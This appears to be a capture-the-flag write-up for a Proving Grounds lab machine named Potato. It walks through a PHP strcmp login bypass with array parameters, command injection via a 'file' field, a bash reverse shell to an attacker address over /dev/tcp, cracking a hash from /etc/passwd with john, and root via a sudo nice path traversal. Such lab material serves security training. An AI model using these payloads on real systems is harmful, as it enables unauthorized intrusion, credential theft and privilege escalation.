Potato - OSPG

Read this in "about 7 minutes".

Summary

We’ll exploit the weakness in PHP strcmp employed in a login prompt of an admin page. After bypass the login, we can secure the initial access via the Command Injection vulnerability of the page parameter. Privilege escalation can be procured with a misconfigured sudo command.


Enumeration

Nmap

We’ll beign with a nmap scan.

$ nmap -sV -p- -A $IP
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
2112/tcp open  ftp     syn-ack ttl 63 ProFTPD

There are three available services in total - SSH, HTTP and FTP. Let’s us observe some of them.

FTP/2112

To drop a FTP interactive shell, we utilize ftp with the credentials anonymous:anonymous.

$ ftp 192.168.62.101 2112
Connected to 192.168.62.101.
220 ProFTPD Server (Debian) [::ffff:192.168.62.101]
Name (192.168.62.101:root): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
...
ftp> ls -al
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   2 ftp      ftp          4096 Aug  2  2020 .
drwxr-xr-x   2 ftp      ftp          4096 Aug  2  2020 ..
-rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg
226 Transfer complete

Inside the anonymous FTP shell, there are two accessible files: index.php.bak and welcome.msg. Let’s us download and further investigate them.

To download those files, we continue executing.

226 Transfer complete
...
ftp> mget *
mget welcome.msg? y
...
mget index.php.bak? y
...

The file index.php.bak yields the source code of a web application.

...
<?php

$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
  }
  exit();
}
?>
...

After conducting few researches, we discover that the PHP strcmp method is NOT secure due to its nature. Let’s keep that in mind and move on to enumerating the web application on port 80.

HTTP/80

Employ ffuf, we expose a couple directories.

$ ffuf -u http://$IP/FUZZ -w common.txt
...
admin                   [Status: 301, Size: 318, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 245, Words: 31, Lines: 9]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10]

The /admin directory is our top concentration. Navigate to the site, we’re asked to login.

$ curl -s http://192.168.62.101/admin/index.php | html2text
****** Login ******
User: [username            ]  Password: [********************]  [Login]

Insecure strcmp

Let’s us recall the strcmp method in the index.php.bak file that we found ealier.

Primarily, the strcmp is bypassible by supplying a NULL array. In other words, a strcmp with a NULL array will return NULL, and NULL == 0 is true. For that reason, without a valid credentials, we can still manage to bypass the admin login prompt.

To describe the idea, we intercept the login request with Burpsuite, then adjust the payload as following:

POST /admin/index.php?login=1 HTTP/1.1
Host: 192.168.62.101
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.62.101
Connection: close
Referer: http://192.168.62.101/admin/
Upgrade-Insecure-Requests: 1

username[]=%22%22&password[]=%22%22

we continue Forwarding the traffic, and successfully land on the Admin area.


Exploitation

Command Injection

Navigating around the Admin area, we realize that the /admin/dashboard.php?page=log is vulnerable to command injection.

Let’s us send a POST request and further inspect the result.

$ curl -s -X POST -d 'file=log_01.txt;id' http://192.168.62.101/admin/dashboard.php?page=log -b "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh"
...
Contenu du fichier log_01.txt;id :  </br><PRE>Operation: password change
Date: January 03, 2020 / 11:25 a.m.
User: admin
Status: OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As we can see, the id command is nicely executed on the other end as www-data.

Initial Access

Now, we can pull a bash reverse shell. Our payload might look as below.

bash -c 'bash -i >& /dev/tcp/192.168.49.62/80 0>&1'

It’s always a good idea to URL-encode the payload.

bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.62%2F80+0%3E%261%22

The final curl command.

$ curl -s -X POST -d 'file=log_01.txt;bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.62%2F80+0%3E%261%22' http://192.168.62.101/admin/dashboard.php?page=log -b "pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh"

After a second, our nc should catch the reverse connection at port 80 as www-data.

$ sudo nc -nlvp 80
Listening on 0.0.0.0 80
Connection received on 192.168.62.101 50576
bash: cannot set terminal process group (832): Inappropriate ioctl for device
bash: no job control in this shell
www-data@serv:/var/www/html/admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Shell as webadmin

Locally gather the target system divulges a password hash of a local user inside the /etc/passwd file.

www-data@serv:/var/www/html/admin$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

The hash can then be cracked with john.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash 
...
Press 'q' or Ctrl-C to abort, almost any other key for status
dragon           (?)
1g 0:00:00:00 DONE (2021-09-04 09:42) 5.263g/s 2021p/s 2021c/s 2021C/s 123456..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Our new credentials is webadmin:dragon. With this credentials, we can drop a new shell as webadmin.

SUDO Abusing

webadmin can run the sudo /bin/nice ... command as root.

webadmin@serv:~$ sudo -l
sudo -l
[sudo] password for webadmin: dragon

Matching Defaults entries for webadmin on serv:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*

It’s worth noticing that we can hijack the nice command to execute any binary of our choice by injecting the ../ pointer to escape the /notes directory.

To demonstrate the idea, let’s us execute the /bin/bash binary and obtain the root shell.

webadmin@serv:~$ sudo /bin/nice /notes/../../bin/bash
root@serv:/home/webadmin# id  
uid=0(root) gid=0(root) groups=0(root)